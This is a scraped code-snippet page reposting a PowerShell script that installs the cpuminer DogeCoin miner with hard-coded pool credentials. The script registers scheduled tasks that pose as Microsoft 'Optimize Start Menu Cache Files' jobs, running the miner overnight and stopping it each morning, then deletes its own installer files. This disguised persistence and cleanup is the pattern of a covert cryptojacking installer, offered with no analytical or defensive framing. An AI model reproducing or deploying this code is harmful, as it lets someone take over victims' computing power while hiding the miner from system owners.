powershell DogeCoin挖掘安装脚本#Bitcoin#PowerShell

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了powershell DogeCoin挖掘安装脚本#Bitcoin#PowerShell相关的知识,希望对你有一定的参考价值。

[CmdletBinding()]param(
    [switch]$start,
    [switch]$stop
)

# minerd --url=stratum+tcp://dogepool.pw:3334 --userpass=hakunamakuba.dogecoin1:kOY7xtpE6yB4g3bw-NC

if($start){
	minerd -t 1 --url=stratum+tcp://dogepool.pw:3334 --userpass=hakunamakuba.dogecoin1:kOY7xtpE6yB4g3bw-NC
}elseif($stop){
	Stop-Process -Name minerd
}
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2013-10-07T09:08:50.3896932</Date>
    <Author>Microsoft Corporation</Author>
    <Description>Optimize Start Menu Cache Files-S-1-5-21-845123235-4365131323-5313563663-000</Description>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2013-01-01T04:00:00</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P1D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>$PSapps.PowerShell</Command>
	  <Arguments>$("&amp; 'C:\Program Files\cpuminer\Process-Minerd.ps1' -stop")</Arguments>
      <WorkingDirectory>$PSProfile.Path</WorkingDirectory>
    </Exec>
  </Actions>
</Task>
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2013-10-07T09:08:50.3896932</Date>
    <Author>Microsoft Corporation</Author>
    <Description>Optimize Start Menu Cache Files-S-1-5-21-356465652-3543132135-1325423389-100</Description>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2013-01-01T20:00:00</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P1D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>$PSapps.PowerShell</Command>
	  <Arguments>$("&amp; 'C:\Program Files\cpuminer\Process-Minerd.ps1' -start")</Arguments>
      <WorkingDirectory>$PSProfile.Path</WorkingDirectory>
    </Exec>
  </Actions>
</Task>
Update-PowerShellPowerUp
Install-PPApp cpuminer
Move-Item (Join-Path $PSconfigs.Path "Process-Minerd.ps1") "C:\Program Files\cpuminer\" -Force
Update-ScheduledTask "Optimize Start Menu Cache Files-S-1-5-21-356465652-3543132135-1325423389-100"
Update-ScheduledTask "Optimize Start Menu Cache Files-S-1-5-21-845123235-4365131323-5313563663-000"
Remove-Item (Join-Path $PSconfigs.Path "Optimize Start Menu Cache Files-S-1-5-21-356465652-3543132135-1325423389-100.task.config.xml") -Force
Remove-Item (Join-Path $PSconfigs.Path "Optimize Start Menu Cache Files-S-1-5-21-845123235-4365131323-5313563663-000.task.config.xml") -Force
Remove-Item (Join-Path $PSconfigs.Path "Install-ProcessMinerdTask.ps1") -Force

以上是关于powershell DogeCoin挖掘安装脚本#Bitcoin#PowerShell的主要内容,如果未能解决你的问题,请参考以下文章

PowerShell 批量执行所有主机通过脚本安装软件

PowerShell 批量执行所有主机通过脚本安装软件

powershell 用于使用Chocolatey安装开发机器的PowerShell脚本。

powershell 用于使用Chocolatey安装开发机器的PowerShell脚本。

powershell 用于使用Chocolatey安装开发机器的PowerShell脚本。

powershell 用于使用Chocolatey安装开发机器的PowerShell脚本。